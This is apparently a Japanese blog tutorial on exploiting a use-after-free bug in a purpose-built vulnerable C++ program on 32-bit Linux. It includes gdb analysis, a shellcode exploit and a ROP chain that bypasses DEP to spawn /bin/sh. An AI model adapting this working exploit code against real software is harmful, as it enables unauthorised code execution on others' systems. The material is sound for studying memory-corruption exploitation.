use-after-freeによるC++ vtable overwriteをやってみる

一つ前のエントリではuse-after-freeによるGOT overwriteを行ったが、C++におけるvtable overwriteもヒープオーバーフローの場合と同様に行うことができる。 ここでは、use-after-freeによるC++ vtable overwriteを行い、シェルを起動してみる。 またDEPが有効な状況におけるシェル起動についても合わせてやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、use-after-free脆弱性のあるプログラムコードを書く。

/* uaf.cpp */
#include <cstdio>
#include <cstdlib>
#include <cstring>
using namespace std;

class Block {
    char buf[100];
public:
    Block(char *buf) { strncpy(this->buf, buf, 100); }
    virtual void print() { puts(this->buf); }
};

int main(int argc, char *argv[])
{
    Block *block = new Block(argv[1]);
    printf("[+] block = %p\n", block);
    block->print();
    delete block;

    int size = atoi(argv[2]);
    char *newbuf = new char[size];
    printf("[+] newbuf = %p\n", newbuf);
    strncpy(newbuf, argv[3], size);

    block->print();

    delete[] newbuf;
    return 0;
}

このコードでは、delete演算子により解放されたblockが、メソッド呼び出しの形で再度参照されている。 また、その間にサイズを自由に指定可能なnewbufが新たに確保され、任意のデータを書き込めるようになっている。 Blockクラスのprint関数にはvirtualキーワードが指定されていることから、このクラスは仮想関数をメンバに持つ。

ASLR、DEP無効、SSP有効としてコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ g++ -z execstack uaf.cpp

$ ./a.out AAAA 100 BBBB
[+] block = 0x804b008
AAAA
[+] newbuf = 0x804b008
Segmentation fault (core dumped)

解放されたblockと同じアドレスにnewbufが確保され、セグメンテーション違反で落ちていることがわかる。

gdbでメモリの状態を調べてみる

gdbを使って、delete block;が呼ばれる直前のメモリの状態を調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) set print asm-demangle on
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x08048647 <+83>:    call   edx
   0x08048649 <+85>:    mov    eax,DWORD PTR [esp+0x14]
   0x0804864d <+89>:    mov    DWORD PTR [esp],eax
   0x08048650 <+92>:    call   0x80484b0 <_ZdlPv@plt>
   0x08048655 <+97>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048658 <+100>:   add    eax,0x8
   0x0804865b <+103>:   mov    eax,DWORD PTR [eax]
   0x0804865d <+105>:   mov    DWORD PTR [esp],eax
   0x08048660 <+108>:   call   0x80484f0 <atoi@plt>
   ...
   0x080486a8 <+180>:   call   0x80484c0 <strncpy@plt>
   0x080486ad <+185>:   mov    eax,DWORD PTR [esp+0x14]
   0x080486b1 <+189>:   mov    eax,DWORD PTR [eax]
   0x080486b3 <+191>:   mov    edx,DWORD PTR [eax]
   0x080486b5 <+193>:   mov    eax,DWORD PTR [esp+0x14]
   0x080486b9 <+197>:   mov    DWORD PTR [esp],eax
   0x080486bc <+200>:   call   edx
   ...
End of assembler dump.
(gdb) b *main+92
Breakpoint 1 at 0x8048650
(gdb) r AAAABBBB 100 CCCCDDDD
Starting program: /home/user/tmp/a.out AAAABBBB 100 CCCCDDDD
[+] block = 0x804b008
AAAABBBB

Breakpoint 1, 0x08048650 in main ()
(gdb) x/20wx 0x804b008
0x804b008:      0x08048820      0x41414141      0x42424242      0x00000000
0x804b018:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b028:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b038:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b048:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/4wx 0x08048820
0x8048820 <vtable for Block+8>: 0x0804870a      0x6f6c4235      0x00006b63      0x0804a048
(gdb) x/i 0x0804870a
   0x804870a <Block::print()>:  push   ebp

delete block;が呼ばれる直前の状態を調べると、0x804b008にvtableを指すポインタがあり、その先のvtableにBlock::print()関数のアドレスが置かれていることがわかる。

さらに、strncpy関数でnewbufに文字列を書き込んだ直後まで進めてみる。

(gdb) u *main+185
[+] newbuf = 0x804b008
0x080486ad in main ()
(gdb) x/20wx 0x804b008
0x804b008:      0x43434343      0x44444444      0x00000000      0x00000000
0x804b018:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b028:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b038:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b048:      0x00000000      0x00000000      0x00000000      0x00000000

解放されたblockのアドレスに新たにnewbufが置かれ、vtableを指すポインタがあった箇所が0x43434343 (CCCC) で上書きされていることがわかる。

さらに進めると、セグメンテーション違反で落ちる。

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x080486b3 in main ()
(gdb) x/i $pc
=> 0x80486b3 <main+191>:        mov    edx,DWORD PTR [eax]
(gdb) i r edx eax
edx            0x0      0
eax            0x43434343       1128481603
(gdb) quit
A debugging session is active.

        Inferior 1 [process 5567] will be killed.

Quit anyway? (y or n) y

これは、vtableを指すポインタの中身が0x43434343に書き変わった結果、メモリの読み取りに失敗するためである。

以上の結果から、CCCCを偽のvtableのアドレスに書き換えることにより、block->print();のタイミングで任意のアドレスにジャンプできることがわかる。

エクスプロイトコードを書いてみる

上の内容をもとに、シェルコードを実行するエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

addr_newbuf = int(sys.argv[1], 16)

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'

newbuf = struct.pack('<I', addr_newbuf+4)
newbuf += struct.pack('<I', addr_newbuf+8)
newbuf += shellcode
size_newbuf = len(newbuf)

p = Popen(['./a.out', 'AAAA', str(size_newbuf), newbuf])
p.wait()

このコードはblockと同じ場所に確保されるnewbufのアドレスを引数に取る。

引数にアドレスをセットし、実行してみる。

$ python exploit.py 0x804b008
[+] block = 0x804b008
AAAA
[+] newbuf = 0x804b008
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

vtableを指すポインタの値が書き変わり、シェルコードが実行されることが確認できた。

DEPを回避するエクスプロイトコードを書いてみる

次に、DEPが有効な状況においてROPによりシェルを起動するエクスプロイトコードを書いてみる。 ディスアセンブル結果を見ると、block->pointer();が呼ばれるときedxレジスタにはジャンプ先のアドレス、eaxレジスタにはvtableを指すポインタがあるアドレスが入ることがわかる。 このときのメモリの状態を整理すると次のようになる。

0x804b008:
      0x0804b00c  <- eax
      0x41414141
      0xXXXXXXXX
      0xXXXXXXXX

0x41414141:
      0xYYYYYYYY  <- edx

この場合、単純にxchg eax, espを使ってstack pivotしただけでは0x0804b00cにEIPが移ってしまい、うまくいかない。

そこで、ROP gadget探索ツールrp++を使い、利用できるgadgetがないか探してみる。 rp++はファイル単独で動かすことができ、ret命令で終わるパターンに加え、jmp命令で終わるパターン、call命令で終わるパターンも探すことができる。 rp++をダウンロードし、libcに含まれるROP gadgetを出力してみると次のようになる。

$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x86

$ chmod +x rp-lin-x86

$ ldd a.out
        libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb7f10000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d66000)
        libm.so.6 => /lib/i386-linux-gnu/libm.so.6 (0xb7d39000)
        /lib/ld-linux.so.2 (0x80000000)
        libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb7d1b000)

$ readlink -e /lib/i386-linux-gnu/libc.so.6
/lib/i386-linux-gnu/libc-2.15.so

$ ./rp-lin-x86 --file=/lib/i386-linux-gnu/libc-2.15.so --rop=3 --unique > gadgets.txt

$ grep 'xchg eax' gadgets.txt
0x0010d7e2: adc al, 0x0F ; xchg eax, esp ; retn 0xC183 ;  (1 found)
0x000b8f8e: adc al, 0x0F ; xchg eax, esp ; retn 0xD284 ;  (1 found)
0x00041a25: adc byte [edi], cl ; xchg eax, ebp ; retn 0xB60F ;  (1 found)
0x0010cec4: adc byte [edi], cl ; xchg eax, esp ; retn 0xD589 ;  (1 found)
0x00105fb3: adc cl, byte [ebx+0x4C89960C] ; xchg eax, ebp ; add al, 0x83 ; retn 0x8501 ;  (1 found)
0x000d4a2e: adc cl, byte [edi] ; xchg eax, esp ; retn 0x133C ;  (1 found)
0x00048913: adc dword [edi], ecx ; xchg eax, esp ; retn 0xC183 ;  (6 found)
0x001721cf: add ah, ah ; xchg eax, ebp ; cli  ; jmp eax ;  (1 found)
0x0017218f: add ah, ah ; xchg eax, ecx ; cli  ; jmp eax ;  (1 found)
0x00178cc3: add ah, bh ; xchg eax, edi ; in al, dx ; jmp dword [edi] ;  (1 found)
(snip)

出力したgadgets.txtを調べたところ、add al, 0x24; call dword [eax+0x10];というgadgetが見つかった。 これを使いeax+0x34の位置にxchg eax, espのアドレスを置けば、eax+0x24にespを移すことができる。

エクスプロイトコードを書くと次のようになる。

# exploit2.py
import sys
import struct
from subprocess import Popen

addr_newbuf = int(sys.argv[1], 16)
base_libc = int(sys.argv[2], 16)

addr_libc_mod_eax = base_libc + 0x0006598e    # 0x0006598e: add al, 0x24 ; call dword [eax+0x10] ;  (4 found)
addr_libc_pivot_eax = base_libc + 0x0009b8c9  # 0x0009b8c9: xchg eax, esp ; ret  ;  (10 found)
addr_libc_system = base_libc + 0x0003f430     # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
addr_libc_exit = base_libc + 0x00032fb0       # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
addr_libc_binsh = base_libc + 0x161d98        # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh"

newbuf = struct.pack('<I', addr_newbuf+4)
newbuf += struct.pack('<I', addr_libc_mod_eax)
newbuf += 'A' * (0x24-len(newbuf))
newbuf += struct.pack('<I', addr_libc_system)
newbuf += struct.pack('<I', addr_libc_exit)
newbuf += struct.pack('<I', addr_libc_binsh)
newbuf += 'A' * (0x24+0x10-len(newbuf))
newbuf += struct.pack('<I', addr_libc_pivot_eax)
size_newbuf = len(newbuf)

p = Popen(['./a.out', 'AAAA', str(size_newbuf), newbuf])
p.wait()

このコードはblockと同じ場所に確保されるnewbufのアドレス、libcのベースアドレスを順に引数に取る。

ASLR無効、DEPSSP有効でコンパイルし直し、引数をセットしてエクスプロイトコードを実行してみる。 ここで、libcのベースアドレスはgdbなどを利用して調べる。

$ g++ uaf.cpp

$ python exploit.py 0x804b008
[+] block = 0x804b008
AAAA
[+] newbuf = 0x804b008

$ python exploit2.py 0x804b008 0xb7d44000
[+] block = 0x804b008
AAAA
[+] newbuf = 0x804b008
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

DEPが有効な条件下で、シェルコードの実行が失敗すること、その一方でROPによるシェル起動ができていることが確認できた。

関連リンク